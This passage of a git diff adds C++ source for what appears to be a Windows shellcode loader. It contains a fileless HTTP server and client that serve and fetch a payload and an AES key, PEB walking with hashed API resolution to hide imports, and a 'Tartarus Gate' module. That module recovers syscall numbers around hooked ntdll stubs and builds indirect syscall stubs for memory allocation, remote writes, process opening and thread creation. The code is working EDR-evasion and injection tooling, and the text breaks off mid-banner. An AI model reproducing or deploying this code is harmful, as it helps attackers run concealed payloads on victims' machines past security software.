(hdrEnd - data) + 4; + + size_t contentLen = 0; + const char* cl = strstr(data, "Content-Length:"); + if (cl && cl < hdrEnd) { + contentLen = static_cast(std::strtoul(cl + 15, nullptr, 10)); + } + Log::Dbg("headers end @%zu Content-Length=%zu", bodyOff, contentLen); + + if (contentLen > 0 && bodyOff + contentLen <= response.size()) { + body.assign(response.begin() + static_cast(bodyOff), + response.begin() + static_cast(bodyOff + contentLen)); + } else if (bodyOff < response.size()) { + body.assign(response.begin() + static_cast(bodyOff), response.end()); + } else { + body.clear(); + } + Log::Info("HTTP body size=%zu for %s", body.size(), path); + return true; +} + +std::string BuildHttpResponse(const std::vector& body, const char* contentType) { + std::ostringstream oss; + oss << "HTTP/1.1 200 OK\r\n" + << "Content-Type: " << contentType << "\r\n" + << "Content-Length: " << body.size() << "\r\n" + << "Connection: close\r\n\r\n"; + std::string hdr = oss.str(); + std::string out = hdr; + out.append(reinterpret_cast(body.data()), body.size()); + return out; +} + +bool ReadFileBytes(const std::wstring& path, std::vector& out) { + std::ifstream f(path, std::ios::binary | std::ios::ate); + if (!f.is_open()) { + return false; + } + out.resize(static_cast(f.tellg())); + f.seekg(0); + f.read(reinterpret_cast(out.data()), out.size()); + return true; +} + +void HandleClient(WinsockApi& ws, SOCKET client, + const std::vector& payload, const std::vector& keyBlob, + bool /*verbose*/) { + char buf[2048] = {}; + const int nrecv = ws.recvFn(client, buf, sizeof(buf) - 1, 0); + + // First request line only for clean logs + char reqLine[128] = {}; + { + size_t i = 0; + while (i + 1 < sizeof(reqLine) && buf[i] && buf[i] != '\r' && buf[i] != '\n') { + reqLine[i] = buf[i]; + ++i; + } + } + Log::Srv("accept client sock=%llu recv=%d req=\"%s\"", + static_cast(client), nrecv, reqLine); + + std::vector response; + const char* route = "404"; + size_t bodyBytes = 0; + if (strstr(buf, "GET /api/v1/payload")) { + route = "/api/v1/payload"; + bodyBytes = payload.size(); + auto http = BuildHttpResponse(payload, "application/octet-stream"); + response.assign(http.begin(), http.end()); + } else if (strstr(buf, "GET /api/v1/key")) { + route = "/api/v1/key"; + bodyBytes = keyBlob.size(); + auto http = BuildHttpResponse(keyBlob, "application/octet-stream"); + response.assign(http.begin(), http.end()); + } else if (strstr(buf, "GET /api/v1/health")) { + route = "/api/v1/health"; + bodyBytes = 2; + const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK"; + response.assign(ok, ok + strlen(ok)); + } else { + const char* nf = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n"; + response.assign(nf, nf + strlen(nf)); + } + + const int nsent = ws.sendFn(client, reinterpret_cast(response.data()), + static_cast(response.size()), 0); + Log::Srv("reply route=%s body=%zu wire=%zu sent=%d", + route, bodyBytes, response.size(), nsent); + ws.closesocketFn(client); +} + +} // namespace + +bool ParseSource(const std::string& source, Endpoint& out) { + out = {}; + out.port = 8080; + + const auto colon = source.find(':'); + if (colon == std::string::npos) { + out.host = source; + return !out.host.empty(); + } + + out.host = source.substr(0, colon); + try { + out.port = static_cast(std::stoi(source.substr(colon + 1))); + } catch (...) { + return false; + } + return !out.host.empty(); +} + +bool FetchPayload(const Endpoint& ep, std::vector& body) { + return HttpGet(ep, "/api/v1/payload", body); +} + +bool FetchKey(const Endpoint& ep, std::vector& body) { + return HttpGet(ep, "/api/v1/key", body); +} + +bool RunServerMemory(std::uint16_t port, const std::vector& payload, + const std::vector& keyBlob, bool verbose) { + // Prefer explicit flag; also honor Log server channel if already enabled. + if (verbose) { + Log::SetServerVerbose(true); + } + + Log::SrvBanner("HTTP Bind"); + Log::Srv("WSAStartup + resolve passive 0.0.0.0:%u", port); + + WinsockApi ws{}; + if (!EnsureWinsock(ws)) { + Log::Srv("winsock load failed"); + return false; + } + Log::Srv("winsock APIs resolved (hash) + started"); + + addrinfo hints{}; + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + hints.ai_flags = AI_PASSIVE; + + addrinfo* result = nullptr; + const auto portStr = std::to_string(port); + if (ws.getaddrinfoFn(nullptr, portStr.c_str(), &hints, &result) != 0) { + Log::Srv("getaddrinfo failed for port %s", portStr.c_str()); + return false; + } + + SOCKET listenSock = ws.socketFn(result->ai_family, result->ai_socktype, result->ai_protocol); + if (listenSock == INVALID_SOCKET) { + Log::Srv("socket() failed"); + ws.freeaddrinfoFn(result); + return false; + } + Log::Srv("listen socket=%llu", static_cast(listenSock)); + + int yes = 1; + ws.setsockoptFn(listenSock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast(&yes), sizeof(yes)); + Log::Srv("SO_REUSEADDR=1"); + + if (ws.bindFn(listenSock, result->ai_addr, static_cast(result->ai_addrlen)) != 0) { + Log::Srv("bind failed on port %u", port); + ws.closesocketFn(listenSock); + ws.freeaddrinfoFn(result); + return false; + } + ws.freeaddrinfoFn(result); + Log::Srv("bind OK 0.0.0.0:%u", port); + + if (ws.listenFn(listenSock, SOMAXCONN) != 0) { + Log::Srv("listen failed"); + ws.closesocketFn(listenSock); + return false; + } + Log::Srv("listen OK backlog=SOMAXCONN"); + + // Always show ready line; details only with --verbose + Log::Ok("Fileless server listening on port %u (payload=%zu key=%zu)", + port, payload.size(), keyBlob.size()); + Log::Srv("endpoints: GET /api/v1/payload | /api/v1/key | /api/v1/health"); + Log::Srv("waiting for clients..."); + + for (;;) { + SOCKET client = ws.acceptFn(listenSock, nullptr, nullptr); + if (client == INVALID_SOCKET) { + Log::Srv("accept returned INVALID_SOCKET — retry"); + continue; + } + HandleClient(ws, client, payload, keyBlob, verbose); + } +} + +bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath) { + std::vector payload; + std::vector keyBlob; + + if (!ReadFileBytes(payloadPath, payload)) { + return false; + } + + // Key is optional for non-encrypted payloads + ReadFileBytes(keyPath, keyBlob); + return RunServerMemory(port, payload, keyBlob, false); +} + +} // namespace HttpTransport \ No newline at end of file diff --git a/lib/net/http_transport.hpp b/lib/net/http_transport.hpp new file mode 100644 index 0000000..6d92bc1 --- /dev/null +++ b/lib/net/http_transport.hpp @@ -0,0 +1,31 @@ +#pragma once + +#include +#include +#include + +namespace HttpTransport { + +struct Endpoint { + std::string host; + std::uint16_t port = 8080; + bool useTls = false; // plain HTTP for lab +}; + +// Parse host[:port] from --source argument. +bool ParseSource(const std::string& source, Endpoint& out); + +// GET /api/v1/payload — returns raw shellcode bytes (plain or AES ciphertext). +bool FetchPayload(const Endpoint& ep, std::vector& body); + +// GET /api/v1/key — returns packed key material blob. +bool FetchKey(const Endpoint& ep, std::vector& body); + +// Run minimal HTTP server (Windows) — serves payload + key without exposing filenames. +bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath); + +// Run server with in-memory blobs (after --enc AES). +bool RunServerMemory(std::uint16_t port, const std::vector& payload, + const std::vector& keyBlob, bool verbose = false); + +} // namespace HttpTransport \ No newline at end of file diff --git a/lib/pe/pe_parser.cpp b/lib/pe/pe_parser.cpp new file mode 100644 index 0000000..125b538 --- /dev/null +++ b/lib/pe/pe_parser.cpp @@ -0,0 +1,125 @@ +#include "pe_parser.hpp" +#include "../common/hashes.hpp" + +#include + +namespace PeParser { + +Peb* GetPeb() { +#ifdef _WIN64 + return reinterpret_cast(__readgsqword(0x60)); +#else + return reinterpret_cast(__readfsdword(0x30)); +#endif +} + +bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap) { + if (!name.Buffer || name.Length == 0 || outCap == 0) { + return false; + } + const int wcharCount = name.Length / sizeof(WCHAR); + int written = WideCharToMultiByte( + CP_ACP, 0, name.Buffer, wcharCount, + out, static_cast(outCap - 1), nullptr, nullptr); + if (written <= 0) { + return false; + } + out[written] = '\0'; + CharLowerA(out); + return true; +} + +HMODULE GetModuleByHash(std::uint32_t moduleHash) { + auto* peb = GetPeb(); + if (!peb || !peb->Ldr) { + return nullptr; + } + + auto* head = &peb->Ldr->InMemoryOrderModuleList; + for (auto* link = head->Flink; link != head; link = link->Flink) { + auto* entry = reinterpret_cast( + reinterpret_cast(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks)); + + if (!entry->BaseDllName.Buffer) { + continue; + } + + char narrow[MAX_PATH] = {}; + if (!WideToLowerAscii(entry->BaseDllName, narrow, sizeof(narrow))) { + continue; + } + + // Match precomputed hash (api_hash constants) or runtime djb2 lowercase. + if (Hashes::Djb2(narrow) == moduleHash || Hashes::Djb2Lower(narrow) == moduleHash) { + return reinterpret_cast(entry->DllBase); + } + } + return nullptr; +} + +HMODULE GetModuleByIndex(unsigned index) { + auto* peb = GetPeb(); + if (!peb || !peb->Ldr) { + return nullptr; + } + + auto* head = &peb->Ldr->InMemoryOrderModuleList; + unsigned i = 0; + for (auto* link = head->Flink; link != head; link = link->Flink, ++i) { + if (i == index) { + auto* entry = reinterpret_cast( + reinterpret_cast(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks)); + return reinterpret_cast(entry->DllBase); + } + } + return nullptr; +} + +PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module) { + if (!module) { + return nullptr; + } + auto* base = reinterpret_cast(module); + auto* dos = reinterpret_cast(base); + if (dos->e_magic != IMAGE_DOS_SIGNATURE) { + return nullptr; + } + auto* nt = reinterpret_cast(base + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) { + return nullptr; + } + return nt; +} + +FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash) { + if (!module) { + return nullptr; + } + + auto* base = reinterpret_cast(module); + auto* nt = GetNtHeaders(module); + if (!nt) { + return nullptr; + } + + const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (dir.VirtualAddress == 0 || dir.Size == 0) { + return nullptr; + } + + auto* exp = reinterpret_cast(base + dir.VirtualAddress); + auto* names = reinterpret_cast(base + exp->AddressOfNames); + auto* ords = reinterpret_cast(base + exp->AddressOfNameOrdinals); + auto* funcs = reinterpret_cast(base + exp->AddressOfFunctions); + + for (DWORD i = 0; i < exp->NumberOfNames; ++i) { + const char* exportName = reinterpret_cast(base + names[i]); + if (Hashes::Djb2(exportName) != exportHash) { + continue; + } + return reinterpret_cast(base + funcs[ords[i]]); + } + return nullptr; +} + +} // namespace PeParser \ No newline at end of file diff --git a/lib/pe/pe_parser.hpp b/lib/pe/pe_parser.hpp new file mode 100644 index 0000000..59fba94 --- /dev/null +++ b/lib/pe/pe_parser.hpp @@ -0,0 +1,59 @@ +#pragma once + +#include +#include + +namespace PeParser { + +// Minimal PEB/LDR structures (winternl.h is incomplete for InMemoryOrder walk). +struct PeUnicodeString { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +}; + +struct LdrDataTableEntry { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + PVOID Reserved3[2]; + PeUnicodeString BaseDllName; +}; + +struct PebLdrData { + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +}; + +struct Peb { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PebLdrData* Ldr; +}; + +// Returns process environment block pointer (x64: GS:[0x60]). +Peb* GetPeb(); + +// Walk PEB->Ldr->InMemoryOrderModuleList; match module by djb2 lowercase hash. +HMODULE GetModuleByHash(std::uint32_t moduleHash); + +// InMemoryOrder index: 0=exe, 1=ntdll, 2=kernel32 (typical load order). +HMODULE GetModuleByIndex(unsigned index); + +// Walk PE export directory; match export by djb2 hash (case-sensitive export name). +FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash); + +// Parse PE headers from module base. +PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module); + +// Convert wide module basename to lowercase ASCII for hashing. +bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap); + +} // namespace PeParser \ No newline at end of file diff --git a/lib/resolve/api_resolver.cpp b/lib/resolve/api_resolver.cpp new file mode 100644 index 0000000..4533fd0 --- /dev/null +++ b/lib/resolve/api_resolver.cpp @@ -0,0 +1,65 @@ +#include "api_resolver.hpp" +#include "../pe/pe_parser.hpp" +#include "../common/hashes.hpp" + +namespace ApiResolver { + +static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName); + +HMODULE GetNtdll() { + auto* m = PeParser::GetModuleByHash(Hashes::H_NTDLL_DLL); + return m ? m : PeParser::GetModuleByIndex(1); +} + +HMODULE GetKernel32() { + auto* m = PeParser::GetModuleByHash(Hashes::H_KERNEL32_DLL); + return m ? m : PeParser::GetModuleByIndex(2); +} + +HMODULE GetWs2_32() { + return EnsureModule(Hashes::H_WS2_32_DLL, L"ws2_32.dll"); +} + +HMODULE GetBcrypt() { + return EnsureModule(Hashes::H_BCRYPT_DLL, L"bcrypt.dll"); +} + +FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash) { + return PeParser::GetExportByHash(module, exportHash); +} + +FARPROC ResolveNtdll(std::uint32_t exportHash) { + return ResolveExport(GetNtdll(), exportHash); +} + +FARPROC ResolveWs2(std::uint32_t exportHash) { + return ResolveExport(GetWs2_32(), exportHash); +} + +FARPROC ResolveBcrypt(std::uint32_t exportHash) { + return ResolveExport(GetBcrypt(), exportHash); +} + +static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName) { + HMODULE mod = PeParser::GetModuleByHash(moduleHash); + if (mod) { + return mod; + } + + auto* k32 = GetKernel32(); + if (!k32) { + return nullptr; + } + + using LoadLibraryW_t = HMODULE(WINAPI*)(LPCWSTR); + auto* pLoad = reinterpret_cast( + ResolveExport(k32, Hashes::H_LoadLibraryW)); + if (!pLoad || !fallbackName) { + return nullptr; + } + + mod = pLoad(fallbackName); + return mod; +} + +} // namespace ApiResolver \ No newline at end of file diff --git a/lib/resolve/api_resolver.hpp b/lib/resolve/api_resolver.hpp new file mode 100644 index 0000000..ec9e134 --- /dev/null +++ b/lib/resolve/api_resolver.hpp @@ -0,0 +1,19 @@ +#pragma once + +#include +#include + +namespace ApiResolver { + +// Thin facade over PeParser for reusable dynamic resolution. +HMODULE GetNtdll(); +HMODULE GetKernel32(); +HMODULE GetWs2_32(); +HMODULE GetBcrypt(); + +FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash); +FARPROC ResolveNtdll(std::uint32_t exportHash); +FARPROC ResolveWs2(std::uint32_t exportHash); +FARPROC ResolveBcrypt(std::uint32_t exportHash); + +} // namespace ApiResolver \ No newline at end of file diff --git a/lib/syscall/tartarus_gate.cpp b/lib/syscall/tartarus_gate.cpp new file mode 100644 index 0000000..bcc7043 --- /dev/null +++ b/lib/syscall/tartarus_gate.cpp @@ -0,0 +1,236 @@ +#include "tartarus_gate.hpp" +#include "../pe/pe_parser.hpp" +#include "../resolve/api_resolver.hpp" +#include "../common/hashes.hpp" + +#include "../common/log.hpp" + +#include +#include +#include + +namespace TartarusGate { + +namespace { + +std::vector g_stubPages; + +// Tartarus Gate: resolve SSN from export stub; if hooked (jmp), walk neighbors (Halo's Gate). +std::uint32_t ExtractSSN(PBYTE stub) { + // Unhooked x64 stub: 4C 8B D1 B8 imm32 + if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) { + return *reinterpret_cast(stub + 4); + } + return 0; +} + +std::uint32_t HaloResolve(PBYTE stub) { + for (int j = 1; j <= 500; ++j) { + auto* down = stub + (j * 0x20); + if (down[0] == 0x4C && down[1] == 0x8B && down[3] == 0xB8) { + const auto neighbor = *reinterpret_cast(down + 4); + return neighbor - static_cast(j); + } + auto* up = stub - (j * 0x20); + if (up[0] == 0x4C && up[1] == 0x8B && up[3] == 0xB8) { + const auto neighbor = *reinterpret_cast(up + 4); + return neighbor + static_cast(j); + } + } + return 0; +} + +static HMODULE NtdllBase() { + return ApiResolver::GetNtdll(); +} + +static FARPROC NtdllExport(std::uint32_t hash) { + return PeParser::GetExportByHash(NtdllBase(), hash); +} + +PVOID AllocStubPage(const void* code, size_t size) { + // Bootstrap stub pages via direct ntdll exports (one-time); all runtime ops use indirect stubs. + auto* pAlloc = reinterpret_cast( + NtdllExport(Hashes::H_NtAllocateVirtualMemory)); + auto* pProt = reinterpret_cast( + NtdllExport(Hashes::H_NtProtectVirtualMemory)); + if (!pAlloc || !pProt) { + return nullptr; + } + + PVOID base = nullptr; + SIZE_T region = size; + if (!NT_SUCCESS(pAlloc(GetCurrentProcess(), &base, 0, ®ion, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || !base) { + return nullptr; + } + std::memcpy(base, code, size); + ULONG old = 0; + PVOID protBase = base; + SIZE_T protSize = region; + if (!NT_SUCCESS(pProt(GetCurrentProcess(), &protBase, &protSize, + PAGE_EXECUTE_READ, &old))) { + return nullptr; + } + g_stubPages.push_back(base); + return base; +} + +} // anonymous namespace + +std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash) { + if (!ntdll) { + Log::Err("Unable to Resolve SSN %s"); + return 0; + } + + auto* base = reinterpret_cast(ntdll); + auto* nt = PeParser::GetNtHeaders(ntdll); + if (!nt) { + return 0; + } + + const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (!dir.VirtualAddress) { + return 0; + } + + auto* exp = reinterpret_cast(base + dir.VirtualAddress); + auto* names = reinterpret_cast(base + exp->AddressOfNames); + auto* ords = reinterpret_cast(base + exp->AddressOfNameOrdinals); + auto* funcs = reinterpret_cast(base + exp->AddressOfFunctions); + + for (DWORD i = 0; i < exp->NumberOfNames; ++i) { + const char* exportName = reinterpret_cast(base + names[i]); + if (Hashes::Djb2(exportName) != exportHash) { + continue; + } + + auto* stub = base + funcs[ords[i]]; + + // Tartarus: detect hook (jmp/call redirect). + if (stub[0] == 0xE9 || stub[0] == 0xEB || stub[0] == 0xFF) { + Log::Dbg("SSN resolve: hooked stub @ %p first=0x%02X — Halo's Gate", + stub, stub[0]); + return HaloResolve(stub); + } + + auto ssn = ExtractSSN(stub); + if (ssn) { + Log::Dbg("SSN resolve: clean stub @ %p SSN=%u", stub, ssn); + return ssn; + } + Log::Dbg("SSN resolve: clean pattern miss @ %p — Halo's Gate", stub); + return HaloResolve(stub); + } + return 0; +} + +PVOID FindSyscallGadget(HMODULE ntdll) { + if (!ntdll) { + return nullptr; + } + + auto* base = reinterpret_cast(ntdll); + auto* nt = PeParser::GetNtHeaders(ntdll); + if (!nt) { + return nullptr; + } + + auto* sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i) { + if (std::memcmp(sec[i].Name, ".text", 5) != 0) { + continue; + } + PBYTE start = base + sec[i].VirtualAddress; + DWORD size = sec[i].Misc.VirtualSize; + for (DWORD off = 0; off + 2 < size; ++off) { + // syscall; ret + if (start[off] == 0x0F && start[off + 1] == 0x05 && start[off + 2] == 0xC3) { + return start + off; + } + } + } + return nullptr; +} + +PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget) { + if (!gadget || ssn == 0) { + return nullptr; + } + + // mov r10, rcx | mov eax, SSN | jmp [rip+0] | dq gadget + static const BYTE hdr[] = { + 0x4C, 0x8B, 0xD1, + 0xB8, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00 + }; + + BYTE buf[sizeof(hdr) + sizeof(PVOID)] = {}; + std::memcpy(buf, hdr, sizeof(hdr)); + *reinterpret_cast(buf + 4) = ssn; + *reinterpret_cast(buf + sizeof(hdr)) = gadget; + + PVOID page = AllocStubPage(buf, sizeof(buf)); + return page; +} + +bool BindSyscall(SyscallTable& table, std::uint32_t hash, PVOID& outStub, const char* debugTag) { + auto* ntdll = ApiResolver::GetNtdll(); + const auto ssn = ResolveSSN(ntdll, hash); + if (!ssn) { + Log::Raw("TartarusGate SSN FAIL hash=0x%08X tag=%s", hash, debugTag); + return false; + } + outStub = CreateIndirectStub(ssn, table.gadget); + if (!outStub) { + Log::Raw("TartarusGate STUB FAIL SSN=%u tag=%s", ssn, debugTag); + return false; + } + Log::Raw("syscall %-28s SSN=%4u stub=%p gadget=%p", debugTag, ssn, outStub, table.gadget); + return true; +} + +bool Initialize(SyscallTable& table) { + auto* ntdll = ApiResolver::GetNtdll(); + if (!ntdll) { + return false; + } + + table.gadget = FindSyscallGadget(ntdll); + if (!table.gadget) { + return false; + } + Log::Banner("Tartarus Gate Init"); + Log::Raw("ntdll=%p | indirect syscall; ret gadget=%p", ntdll, table.gadget); + + PVOID stub = nullptr; + +#define BIND(field, hash, tag) \ + if (!BindSyscall(table, hash, stub, tag)) return false; \ + table.field = reinterpret_cast(stub) + + BIND(NtAllocateVirtualMemory, Hashes::H_NtAllocateVirtualMemory, "NtAllocateVirtualMemory"); + BIND(NtProtectVirtualMemory, Hashes::H_NtProtectVirtualMemory, "NtProtectVirtualMemory"); + BIND(NtWriteVirtualMemory, Hashes::H_NtWriteVirtualMemory, "NtWriteVirtualMemory"); + BIND(NtFreeVirtualMemory, Hashes::H_NtFreeVirtualMemory, "NtFreeVirtualMemory"); + BIND(NtCreateSection, Hashes::H_NtCreateSection, "NtCreateSection"); + BIND(NtMapViewOfSection, Hashes::H_NtMapViewOfSection, "NtMapViewOfSection"); + BIND(NtUnmapViewOfSection, Hashes::H_NtUnmapViewOfSection, "NtUnmapViewOfSection"); + BIND(NtOpenProcess, Hashes::H_NtOpenProcess, "NtOpenProcess"); + BIND(NtCreateThreadEx, Hashes::H_NtCreateThreadEx, "NtCreateThreadEx"); + BIND(NtClose, Hashes::H_NtClose, "NtClose"); + BIND(NtQuerySystemInformation, Hashes::H_NtQuerySystemInformation, "NtQuerySystemInformation"); + +#undef BIND + + table.initialized = true; + return true; +} + +void CleanupStubs() { + // Stubs are small RX pages; leak on exit is acceptable for loader lifetime. + g_stubPages.clear(); +} + +} // namespace TartarusGate \ No newline at end of file diff --git a/lib/syscall/tartarus_gate.hpp b/lib/syscall/tartarus_gate.hpp new file mode 100644 index 0000000..7c023d7 --- /dev/null +++ b/lib/syscall/tartarus_gate.hpp @@ -0,0 +1,96 @@ +#pragma once + +#include +#include + +#include "../common/nt_types.hpp" + +namespace TartarusGate { + +// NT syscall typedefs used by the loader. +using fnNtAllocateVirtualMemory = NTSTATUS(NTAPI*)( + HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, + PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); + +using fnNtProtectVirtualMemory = NTSTATUS(NTAPI*)( + HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, + ULONG NewProtect, PULONG OldProtect); + +using fnNtWriteVirtualMemory = NTSTATUS(NTAPI*)( + HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, + SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); + +using fnNtFreeVirtualMemory = NTSTATUS(NTAPI*)( + HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); + +using fnNtCreateSection = NTSTATUS(NTAPI*)( + PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes, + PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, + HANDLE FileHandle); + +using fnNtMapViewOfSection = NTSTATUS(NTAPI*)( + HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, + SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, + ULONG InheritDisposition, ULONG AllocationType, ULONG Win32Protect); + +using fnNtUnmapViewOfSection = NTSTATUS(NTAPI*)( + HANDLE ProcessHandle, PVOID BaseAddress); + +using fnNtOpenProcess = NTSTATUS(NTAPI*)( + PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes, + PCLIENT_ID_NT ClientId); + +using fnNtCreateThreadEx = NTSTATUS(NTAPI*)( + PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes, + HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, + ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, + PVOID AttributeList); + +using fnNtClose = NTSTATUS(NTAPI*)(HANDLE Handle); + +using fnNtQuerySystemInformation = NTSTATUS(NTAPI*)( + ULONG SystemInformationClass, PVOID SystemInformation, + ULONG SystemInformationLength, PULONG ReturnLength); + +using fnNtCreateFile = NTSTATUS(NTAPI*)( + PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes, + PIO_STATUS_BLOCK_NT IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, + ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, + ULONG EaLength); + +using fnNtReadFile = NTSTATUS(NTAPI*)( + HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext, + PIO_STATUS_BLOCK_NT IoStatusBlock, PVOID Buffer, ULONG Length, + PLARGE_INTEGER ByteOffset, PULONG Key); + +struct SyscallTable { + fnNtAllocateVirtualMemory NtAllocateVirtualMemory = nullptr; + fnNtProtectVirtualMemory NtProtectVirtualMemory = nullptr; + fnNtWriteVirtualMemory NtWriteVirtualMemory = nullptr; + fnNtFreeVirtualMemory NtFreeVirtualMemory = nullptr; + fnNtCreateSection NtCreateSection = nullptr; + fnNtMapViewOfSection NtMapViewOfSection = nullptr; + fnNtUnmapViewOfSection NtUnmapViewOfSection = nullptr; + fnNtOpenProcess NtOpenProcess = nullptr; + fnNtCreateThreadEx NtCreateThreadEx = nullptr; + fnNtClose NtClose = nullptr; + fnNtQuerySystemInformation NtQuerySystemInformation = nullptr; + PVOID gadget = nullptr; + bool initialized = false; +}; + +// Tartarus Gate + Halo's Gate SSN resolution by export hash (no API name strings). +std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash); + +// Find `syscall; ret` gadget in ntdll .text for indirect syscalls. +PVOID FindSyscallGadget(HMODULE ntdll); + +// Build indirect syscall stub: mov r10,rcx / mov eax,SSN / jmp [gadget]. +PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget); + +// Initialize full syscall table with indirect stubs. +bool Initialize(SyscallTable& table); + +void CleanupStubs(); + +} // namespace TartarusGate \ No newline at end of file diff --git a/loader.sln b/loader.sln new file mode 100644 index 0000000..fe0c690 --- /dev/null +++ b/loader.sln @@ -0,0 +1,19 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 18 +VisualStudioVersion = 18.0.0.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "loader.vcxproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64 + EndGlobalSection +EndGlobal \ No newline at end of file diff --git a/loader.vcxproj b/loader.vcxproj new file mode 100644 index 0000000..23d8958 --- /dev/null +++ b/loader.vcxproj @@ -0,0 +1,98 @@ + + + + + Debug + x64 + + + Release + x64 + + + + 18.0 + Win32Proj + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890} + loader_v2 + 10.0 + + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + + + + Level3 + true + + MultiThreadedDebug + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + $(ProjectDir);%(AdditionalIncludeDirectories) + + + Console + true + + + + + Level3 + true + true + true + + MultiThreaded + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + $(ProjectDir);%(AdditionalIncludeDirectories) + + + Console + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/loader/cli.cpp b/loader/cli.cpp new file mode 100644 index 0000000..7aa6158 --- /dev/null +++ b/loader/cli.cpp @@ -0,0 +1,178 @@ +#include "cli.hpp" + +#include +#include +#include + +namespace Cli { + +bool IsVerboseFlag(const char* arg) { + return arg && std::strcmp(arg, "--verbose") == 0; +} + +void PrintBanner(){ + std::cout << R"raw( +██████╗ ██╗ ██╗███╗ ██╗██╗ ██████╗ █████╗ ██████╗ ███████╗██████╗ +██╔══██╗╚██╗ ██╔╝████╗ ██║██║ ██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗ +██║ ██║ ╚████╔╝ ██╔██╗ ██║██║ ██║ ██║███████║██║ ██║█████╗ ██████╔╝ +██║ ██║ ╚██╔╝ ██║╚██╗██║██║ ██║ ██║██╔══██║██║ ██║██╔══╝ ██╔══██╗ +██████╔╝ ██║ ██║ ╚████║███████╗██████╔╝██║ ██║██████╔╝███████╗██║ ██║ +╚═════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝╚═════╝ ╚═╝ 